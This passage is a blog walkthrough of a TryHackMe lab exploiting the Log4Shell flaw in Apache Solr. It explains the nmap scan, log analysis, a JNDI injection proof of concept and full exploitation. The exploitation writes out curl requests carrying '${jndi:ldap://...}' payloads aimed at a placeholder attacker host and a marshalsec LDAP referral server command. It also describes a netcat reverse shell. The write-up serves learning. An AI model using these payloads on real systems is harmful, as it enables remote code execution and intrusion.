NAME&amp;gt;&lt;/span&gt;).&lt;/p&gt;&lt;p&gt;The above command runs a SYN scan (&lt;span style=&quot;font-family: courier;&quot;&gt;-sS&lt;/span&gt;), with service versioning (&lt;span style=&quot;font-family: courier;&quot;&gt;-sV&lt;/span&gt;), executes all default scripts (&lt;span style=&quot;font-family: courier;&quot;&gt;-sC&lt;/span&gt;) on all ports (&lt;span style=&quot;font-family: courier;&quot;&gt;-p-&lt;/span&gt;), returns only open ports (&lt;span style=&quot;font-family: courier;&quot;&gt;--open&lt;/span&gt;) with verbosity level 2 output (&lt;span style=&quot;font-family: courier;&quot;&gt;-vv&lt;/span&gt;) and creates three different output files, given a name we provide (&lt;span style=&quot;font-family: courier;&quot;&gt;-oA&lt;/span&gt;): greppable Nmap format (&lt;span style=&quot;font-family: courier;&quot;&gt;.gnmap&lt;/span&gt;), Nmap format (&lt;span style=&quot;font-family: courier;&quot;&gt;.nmap&lt;/span&gt;) and XML format (&lt;span style=&quot;font-family: courier;&quot;&gt;.xml&lt;/span&gt;). In other words, if we called the output file &lt;span style=&quot;font-family: courier;&quot;&gt;scan&lt;/span&gt;, we&#39;d have &lt;span style=&quot;font-family: courier;&quot;&gt;scan.gnmap&lt;/span&gt;, &lt;span style=&quot;font-family: courier;&quot;&gt;scan.nmap&lt;/span&gt; and &lt;span style=&quot;font-family: courier;&quot;&gt;scan.xml &lt;/span&gt;as output files.&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Nmap output shows three open TCP ports: port 22 (SSH), port 111(rpc) and port 8983 (Apache Solr).&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEjM6XeNpBiTnGEGIFBzgq1dZtMykVS8x9XdFC6TLesQgGfWptl-tynJxjrKkLcHK_Fq_OwLL-acZlyw516JHFUKeDuz-DtfFYfgwrC2ZqaIPSOeFIBCxibZ-TYu0-MSko__AmAPDM8QpPIHec-r1s47ROkaEZt01HFI1-S0bsLHWVdSV39sIVJCTwoi4w=s2364&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1900&quot; data-original-width=&quot;2364&quot; height=&quot;514&quot; src=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEjM6XeNpBiTnGEGIFBzgq1dZtMykVS8x9XdFC6TLesQgGfWptl-tynJxjrKkLcHK_Fq_OwLL-acZlyw516JHFUKeDuz-DtfFYfgwrC2ZqaIPSOeFIBCxibZ-TYu0-MSko__AmAPDM8QpPIHec-r1s47ROkaEZt01HFI1-S0bsLHWVdSV39sIVJCTwoi4w=w640-h514&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;The version of OpenSSH in use is &lt;a href=&quot;https://www.apt-browse.org/browse/ubuntu/bionic-security/main/amd64/openssh-server/1:7.6p1-4ubuntu0.3/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;associated with Bionic &lt;/a&gt;(Ubuntu 18.04).&lt;b&gt;&lt;/b&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;i&gt;&amp;nbsp;&lt;/i&gt;&lt;/p&gt;&lt;p&gt;&lt;i&gt;DISCOVERY&lt;/i&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Browsing to the Apache server, we find clear indications &lt;b&gt;log4j&lt;/b&gt; library is in use, as we can see a whole series of configuration parameters&lt;b&gt; &lt;/b&gt;referring to it.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEj_nBy0exnMag1sX-J_NmIHnN_1KmbEPqeMHjolE66PmGn07ltMAreepn24R10-rqpguMhiWga3zoV1N_c3zHel5aW6z3HFz5TwONhXWm09lhX9bNlNPz3aUOpZzjPF1W981hcOEjz8Soe81KCWtp6jhhJAvfPLADEPNqlcPE8oKesazYbX-IWpQq9qOA=s3084&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1816&quot; data-original-width=&quot;3084&quot; height=&quot;376&quot; src=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEj_nBy0exnMag1sX-J_NmIHnN_1KmbEPqeMHjolE66PmGn07ltMAreepn24R10-rqpguMhiWga3zoV1N_c3zHel5aW6z3HFz5TwONhXWm09lhX9bNlNPz3aUOpZzjPF1W981hcOEjz8Soe81KCWtp6jhhJAvfPLADEPNqlcPE8oKesazYbX-IWpQq9qOA=w640-h376&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;In the walkthrough for the room it is clearly indicated that &lt;blockquote&gt;the target machine is running Apache Solr 8.11.0, one example of software that is known to include this vulnerable &lt;code&gt;&lt;b&gt;log4j&lt;/b&gt;&lt;/code&gt; package. For the sake of showcasing this vulnerability, the application runs on Java 1.8.0_181.&lt;/blockquote&gt;&lt;p&gt;That&#39;s why I used a newly created Ubuntu VM as an attacking machine, as Ubuntu comes with no preinstalled version of Java, unlike Kali (coming with Java 11). Detailed directions on how to install the required Java version are available on the &lt;a href=&quot;https://tryhackme.com/room/solar&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;webpage&lt;/a&gt;.&lt;br /&gt;&lt;/p&gt;&lt;p&gt;TryHackMe also provides with some example log files, one of which has a significant number of &lt;code&gt;INFO&lt;/code&gt; entries showing repeated requests to one specific URL endpoint.&amp;nbsp;&lt;/p&gt;&lt;p&gt;Analyzing the &lt;span style=&quot;font-family: courier;&quot;&gt;solr.log &lt;/span&gt;file (&lt;i&gt;see embedded video&lt;/i&gt;), we can see all such requests point to a specific &lt;b&gt;path &lt;/b&gt;(URL endpoint):&lt;span style=&quot;font-family: courier;&quot;&gt; /admin/cores&lt;/span&gt;&lt;b&gt;,&lt;/b&gt; and we can also control some data entrypoint&lt;b&gt; &lt;/b&gt;(&lt;span style=&quot;font-family: courier;&quot;&gt;params&lt;/span&gt;).&lt;/p&gt;&lt;p&gt;Other than parsing log files, th&lt;b&gt;e log4j &lt;/b&gt;package can evaluate code based off the entry data or also execute other commands as entered into log files.&lt;/p&gt;&lt;p&gt;&lt;i&gt;&amp;nbsp;PoC&lt;/i&gt; &lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;span style=&quot;font-family: trebuchet;&quot;&gt;An example of syntax we can use to get a working proof of concept is this one: &lt;/span&gt;&lt;b&gt;{jndi:ldap://ATTACKERCONTROLLEDHOST}&lt;/b&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;In this case, log4j will invoke functionality from &quot;JNDI&quot;, or the &quot;Java Naming and 
Directory Interface.&quot; This can be used to access external 
resources, or &quot;references,&quot; and we can weaponize this functionality to obtain a proof of concept.&lt;/p&gt;&lt;p&gt;In general terms, it&#39;s not always quite obvious what entry points can be used to perform this specific attack.&lt;/p&gt;&lt;p&gt;However, in our case we know we have a &lt;span style=&quot;font-family: courier;&quot;&gt;params&lt;/span&gt; parameter we can supply as an input.&lt;/p&gt;&lt;p&gt;&lt;span&gt;For example, we can provide &lt;a class=&quot;Zm8oNFyw glossary-term&quot;&gt;HTTP&lt;/a&gt; GET variables or parameters which will then processed and parsed by log4j, or inject the above string in i&lt;/span&gt;nput boxes, user and password login forms, data entry points, any customizable HTTP header or any other entry for user-supplied data.&lt;br /&gt;&lt;/p&gt;&lt;p&gt;For the purposes of this PoC, we need to start a listener on any port of our choice. The walkthrough uses port 9999 TCP, but you can use any port &amp;gt;1024 for this. I&#39;d suggest firewall enumeration of REJECT rules to understand what ports are blocked by the firewall and which ones are allowed. Remember, in Linux systems you need to be or become root in order to use ports 1-1024.&lt;/p&gt;&lt;p&gt;With an active listener, we can use a &lt;span style=&quot;font-family: courier;&quot;&gt;curl&lt;/span&gt; command to get a connection back to our attacking machine, as follows: &lt;br /&gt;&lt;/p&gt;&lt;pre class=&quot;terminal-code language-shell-session&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-shell-session&quot;&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token bash language-bash&quot;&gt;&lt;span style=&quot;font-family: courier;&quot;&gt;&lt;span class=&quot;token function&quot;&gt;curl&lt;/span&gt; &lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&lt;span style=&quot;font-family: courier;&quot;&gt;&#39;http://MACHINE_IP:8983/solr/admin/cores?foo=$\{jndi:ldap://YOUR.ATTACKER.IP.ADDRESS:9999\}&lt;/span&gt;&#39;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEiab__JU6X5hhLCVT3GgJyD4DD0gBn6GGNZCUTmhWCvx4wDl2xZ1PS4i_u_h6FqkaBqvdDpzzh-wGvNdMnfoDbL7fhbVqV0jx0XrHJFhcFm0ttFxuvD-33j4WeGqZeGHjDhYW_yZuWLVkdCcowo1I4UQ2qBK2l5iseYY3Op7o7BSd4m_KQn15bboqOevw=s1085&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;55&quot; data-original-width=&quot;1085&quot; height=&quot;32&quot; src=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEiab__JU6X5hhLCVT3GgJyD4DD0gBn6GGNZCUTmhWCvx4wDl2xZ1PS4i_u_h6FqkaBqvdDpzzh-wGvNdMnfoDbL7fhbVqV0jx0XrHJFhcFm0ttFxuvD-33j4WeGqZeGHjDhYW_yZuWLVkdCcowo1I4UQ2qBK2l5iseYY3Op7o7BSd4m_KQn15bboqOevw=w640-h32&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEg6hPxYSaV6Wb6eA_Ux4qJpAm9-bXSjhXuvgoARbbnU0LW9We0Rx-5YgtFVgMUcs_GJqyIMS0trKPOl1ER3smRHBXYqQTrdio0d23Fj62KwJdzu4SFSuAYoI9EU25E3kD7oBtUfDTl03xWAK9BqKz29cDk7366Ug7YGhxMiF7ssrLDu-PVQovPYsYN5ew=s628&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;132&quot; data-original-width=&quot;628&quot; height=&quot;134&quot; src=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEg6hPxYSaV6Wb6eA_Ux4qJpAm9-bXSjhXuvgoARbbnU0LW9We0Rx-5YgtFVgMUcs_GJqyIMS0trKPOl1ER3smRHBXYqQTrdio0d23Fj62KwJdzu4SFSuAYoI9EU25E3kD7oBtUfDTl03xWAK9BqKz29cDk7366Ug7YGhxMiF7ssrLDu-PVQovPYsYN5ew=w640-h134&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;The target is in fact vulnerable, as it sends a connection back to our &lt;code&gt;&lt;b&gt;netcat&lt;/b&gt;&lt;/code&gt; listener. However, it made an LDAP request. As we don&#39;t yet have a server running capable of responding to that request, the &lt;code&gt;&lt;b&gt;netcat&lt;/b&gt;&lt;/code&gt; listener can only return non-printable characters (gibberish).&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;i&gt;&lt;a class=&quot;card-link&quot;&gt;EXPLOITATION&amp;nbsp;&lt;/a&gt;&lt;/i&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;For the exploitation stage, we can follow two different methods:&lt;br /&gt;&lt;/p&gt;&lt;ol style=&quot;text-align: left;&quot;&gt;&lt;li&gt; Attack Box: deploys a TryHackMe machine in your browser.&lt;/li&gt;&lt;li&gt;VPN: You connect your attacking VM to THM through &lt;span style=&quot;font-family: courier;&quot;&gt;openvpn&lt;/span&gt;.&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;I used &lt;span style=&quot;font-family: courier;&quot;&gt;openvpn&lt;/span&gt; because the free version of Attack Box doesn&#39;t provide any Internet access, needed to complete one of the next steps. If you want to use Attack Box for this, you need to subscribe to the premium version.&lt;/p&gt;&lt;p&gt;Building upon the previous step, we can use a open-source utility to stage an &quot;&lt;b&gt;LDAP Referral Server&lt;/b&gt;&quot;, which redirects the initial request of the 
victim to another location (Python HTTP server), where we can host a secondary payload that 
will run code on the target.&lt;/p&gt;&lt;p&gt;For this purpose, we can install &lt;span style=&quot;font-family: courier;&quot;&gt;marshalsec&lt;/span&gt; (&lt;a href=&quot;https://github.com/mbechler/marshalsec&quot;&gt;https://github.com/mbechler/marshalsec&lt;/a&gt;).&lt;br /&gt;&lt;/p&gt;&lt;p&gt;For the exploit to succeed, you need to run Java 8. &lt;/p&gt;&lt;p&gt;Also, &lt;span style=&quot;font-family: courier;&quot;&gt;maven&lt;/span&gt; needs to be installed.&lt;i&gt;&amp;nbsp;&lt;/i&gt;&lt;/p&gt;&lt;p&gt;Afterward, we can compile &lt;span style=&quot;font-family: courier;&quot;&gt;marshalsec&lt;/span&gt; through the&lt;code class=&quot;language-shell-session&quot;&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token bash language-bash&quot;&gt; mvn clean package -DskipTests &lt;span style=&quot;font-family: trebuchet;&quot;&gt;command&lt;/span&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;code class=&quot;language-shell-session&quot;&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token bash language-bash&quot;&gt;&lt;span style=&quot;font-family: trebuchet;&quot;&gt;This step won&#39;t succeed in the free version of Attack Box, because it requires Internet &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;code class=&quot;language-shell-session&quot;&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token bash language-bash&quot;&gt;&lt;span style=&quot;font-family: trebuchet;&quot;&gt;&lt;code class=&quot;language-shell-session&quot;&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token bash language-bash&quot;&gt;&lt;span style=&quot;font-family: trebuchet;&quot;&gt;access&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;code class=&quot;language-shell-session&quot;&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token bash language-bash&quot;&gt;&lt;span style=&quot;font-family: trebuchet;&quot;&gt;The &lt;span style=&quot;font-family: courier;&quot;&gt;marshalsec&lt;/span&gt; server can then be launched with a command such as this:&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;b&gt;&lt;/b&gt;&lt;/p&gt;&lt;pre class=&quot;terminal-code language-shell-session&quot; tabindex=&quot;0&quot;&gt;&lt;b&gt;&lt;code class=&quot;language-shell-session&quot;&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token bash language-bash&quot;&gt;java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer &lt;span class=&quot;token string&quot;&gt;&quot;http://YOUR.ATTACKER.IP.ADDRESS:8000/#Exploit&quot;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/b&gt;&lt;/pre&gt;&lt;code class=&quot;language-shell-session&quot;&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token bash language-bash&quot;&gt;&lt;span style=&quot;font-family: trebuchet;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;code class=&quot;language-shell-session&quot;&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token bash language-bash&quot;&gt;&lt;span style=&quot;font-family: trebuchet;&quot;&gt;We now have an LDAP referral server running and waiting for a connection on port 1389.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code class=&quot;language-shell-session&quot;&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token bash language-bash&quot;&gt;&lt;span style=&quot;font-family: trebuchet;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;code class=&quot;language-shell-session&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEgVe82_fra-fczeesJCvfAzHmlUa1f6D7Eyxk0sdX7s1MXy-IjyTckvvvwirq0CE1BYgNAAeylwhC1aYhlxU1Up17JhrgLxyK0yJx3sV4DfOstHwbKJW7pQWxCvh2DG0QrHhIQTa1uZOEvfyvVeQMZrvR8wD2BRJLLgmb-_7ayd_D1fwmBHql9phe4BHw=s1090&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;136&quot; data-original-width=&quot;1090&quot; height=&quot;80&quot; src=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEgVe82_fra-fczeesJCvfAzHmlUa1f6D7Eyxk0sdX7s1MXy-IjyTckvvvwirq0CE1BYgNAAeylwhC1aYhlxU1Up17JhrgLxyK0yJx3sV4DfOstHwbKJW7pQWxCvh2DG0QrHhIQTa1uZOEvfyvVeQMZrvR8wD2BRJLLgmb-_7ayd_D1fwmBHql9phe4BHw=w640-h80&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/code&gt;&lt;/div&gt;&lt;code class=&quot;language-shell-session&quot;&gt;&lt;br /&gt;&lt;span style=&quot;font-family: trebuchet;&quot;&gt;Let&#39;s now create a java exploit (&lt;span style=&quot;font-family: courier;&quot;&gt;Exploit.java&lt;/span&gt;) as shown below, which uses &lt;span style=&quot;font-family: courier;&quot;&gt;netcat&lt;/span&gt; to send a reverse Bash shell back to our machine. This is a simple PoC but it can be improved by using native tools such as &lt;span style=&quot;font-family: courier;&quot;&gt;/dev/tcp&lt;/span&gt; for the same purpose, as netcat is often not installed by default on real-world machines and, even when it is, some of its versions don&#39;t support the&lt;span&gt; &lt;span style=&quot;font-family: courier;&quot;&gt;-e&lt;/span&gt;&lt;/span&gt; option.&lt;/span&gt;&lt;/code&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;code class=&quot;language-shell-session&quot;&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token bash language-bash&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;code class=&quot;language-shell-session&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEg870qU-robLOGRBhxaLEm99wGKD1wY5Q7LrecYZFGUnwQjzVWL_WeK5MCX87tdICg3psBN7kCjdWsBrnAXbJs1_qoJ0NRJ243qSBItfPSCruVrMbGvFhP-T2wPlsN9fHkDEzJwo2em-ZJ8D6nJOkzoCacPLUVDG2zNZ9IghjEx67VJ3UCNwMObhsVFnw=s1904&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;480&quot; data-original-width=&quot;1904&quot; height=&quot;162&quot; src=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEg870qU-robLOGRBhxaLEm99wGKD1wY5Q7LrecYZFGUnwQjzVWL_WeK5MCX87tdICg3psBN7kCjdWsBrnAXbJs1_qoJ0NRJ243qSBItfPSCruVrMbGvFhP-T2wPlsN9fHkDEzJwo2em-ZJ8D6nJOkzoCacPLUVDG2zNZ9IghjEx67VJ3UCNwMObhsVFnw=w640-h162&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/code&gt;&lt;/div&gt;&lt;code class=&quot;language-shell-session&quot;&gt;&lt;br /&gt;&lt;span style=&quot;font-family: trebuchet;&quot;&gt;We compile the exploit with&lt;span style=&quot;font-family: courier;&quot;&gt; javac Exploit.java &lt;/span&gt;command, that generates an executable exploit (&lt;span style=&quot;font-family: courier;&quot;&gt;Exploit.class&lt;/span&gt;).&lt;br /&gt;&lt;/span&gt;&lt;/code&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;code class=&quot;language-shell-session&quot;&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token bash language-bash&quot;&gt;&lt;span style=&quot;font-family: trebuchet;&quot;&gt;At this point, we can start an HTTP server to host the exploit on port 8000 &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;code class=&quot;language-shell-session&quot;&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token bash language-bash&quot;&gt;&lt;span style=&quot;font-family: trebuchet;&quot;&gt;&lt;code class=&quot;language-shell-session&quot;&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token bash language-bash&quot;&gt;&lt;span style=&quot;font-family: trebuchet;&quot;&gt;(&lt;span style=&quot;font-family: courier;&quot;&gt;python3 -m http.server&lt;/span&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code class=&quot;language-shell-session&quot;&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token bash language-bash&quot;&gt;&lt;span style=&quot;font-family: trebuchet;&quot;&gt;Now we have all ready, let&#39;s start a &lt;span style=&quot;font-family: courier;&quot;&gt;netcat&lt;/span&gt; listener and trigger the exploit with the following &lt;span style=&quot;font-family: courier;&quot;&gt;curl &lt;/span&gt;command:&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;&lt;pre class=&quot;terminal-code language-shell-session&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-shell-session&quot;&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token bash language-bash&quot;&gt;&lt;span class=&quot;token function&quot;&gt;curl&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;http://MACHINE_IP:8983/solr/admin/cores?foo=$\{jndi:ldap://YOUR.ATTACKER.IP.ADDRESS:1389/Exploit\}&#39;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;code class=&quot;language-shell-session&quot;&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token bash language-bash&quot;&gt;&lt;span style=&quot;font-family: trebuchet;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code class=&quot;language-shell-session&quot;&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token bash language-bash&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;code class=&quot;language-shell-session&quot;&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token bash language-bash&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEjYQ5j5-oOAw5mfyZna7aJlGxdETNWodx4QS2eKvtdbKH5MLjfhXVavDRqXjXqbIt20FTwBX8IZ4WJh84zR4BPXnWY_rkN9o0TDdiV029Gkq31WTJhcTGaz0xy696KoE72q6TKZDaWmnAfU8sMUfd0a_6jCMPW-Cy4LefsamlgPC32nT43FUAvlzWrvwA=s1092&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;320&quot; data-original-width=&quot;1092&quot; height=&quot;188&quot; src=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEjYQ5j5-oOAw5mfyZna7aJlGxdETNWodx4QS2eKvtdbKH5MLjfhXVavDRqXjXqbIt20FTwBX8IZ4WJh84zR4BPXnWY_rkN9o0TDdiV029Gkq31WTJhcTGaz0xy696KoE72q6TKZDaWmnAfU8sMUfd0a_6jCMPW-Cy4LefsamlgPC32nT43FUAvlzWrvwA=w640-h188&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/div&gt;&lt;code class=&quot;language-shell-session&quot;&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token bash language-bash&quot;&gt;&lt;br /&gt;&lt;span style=&quot;font-family: trebuchet;&quot;&gt;This sends a connection back to our machine on port 9999 TCP.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;code class=&quot;language-shell-session&quot;&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token bash language-bash&quot;&gt;&lt;span style=&quot;font-family: trebuchet;&quot;&gt;We can get an interactive shell with a python one-liner and start analyzing the target machine.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code class=&quot;language-shell-session&quot;&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token bash language-bash&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;code class=&quot;language-shell-session&quot;&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token bash language-bash&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEgjY4Gw4xDvBlUgBxo5muOQHsF9irZykeBUxTmgc6vOJ6rE83_obZYcrqdVnn28K4GvdAGohKb5jzXcPX6vPofLeXt9pIDn4tM-_xHE5GYq-xwPQG2diRbwkL65zHOoJUNZ9ZikURZ2eS6phRb4U44zqphzcEtqVoHrGs6rWCSXS4qfmHOU5HE9Pq0Duw=s634&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;286&quot; data-original-width=&quot;634&quot; height=&quot;288&quot; src=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEgjY4Gw4xDvBlUgBxo5muOQHsF9irZykeBUxTmgc6vOJ6rE83_obZYcrqdVnn28K4GvdAGohKb5jzXcPX6vPofLeXt9pIDn4tM-_xHE5GYq-xwPQG2diRbwkL65zHOoJUNZ9ZikURZ2eS6phRb4U44zqphzcEtqVoHrGs6rWCSXS4qfmHOU5HE9Pq0Duw=w640-h288&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/div&gt;&lt;code class=&quot;language-shell-session&quot;&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token bash language-bash&quot;&gt;&lt;br /&gt;&lt;span style=&quot;font-family: trebuchet;&quot;&gt;We could gain access as a non-root user (&lt;span style=&quot;font-family: courier;&quot;&gt;solr&lt;/span&gt;) and so we have the same privileges as such user does.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;code class=&quot;language-shell-session&quot;&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token bash language-bash&quot;&gt;&lt;span style=&quot;font-family: trebuchet;&quot;&gt;&lt;i&gt;&amp;nbsp;PERSISTENCE (PRIV ESC)&lt;/i&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code class=&quot;language-shell-session&quot;&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token bash language-bash&quot;&gt;&lt;span style=&quot;font-family: trebuchet;&quot;&gt;In order to achieve persistence on the machine, we need to perform a privilege escalation, which can be done through a series of manual steps or through enumeration scripts. I tend to favor manual solutions myself.&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code class=&quot;language-shell-session&quot;&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token bash language-bash&quot;&gt;&lt;span style=&quot;font-family: trebuchet;&quot;&gt;In general terms, for &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;code class=&quot;language-shell-session&quot;&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token bash language-bash&quot;&gt;&lt;span style=&quot;font-family: trebuchet;&quot;&gt;&lt;code class=&quot;language-shell-session&quot;&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token bash language-bash&quot;&gt;&lt;span style=&quot;font-family: trebuchet;&quot;&gt;Linux privilege escalation,&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; 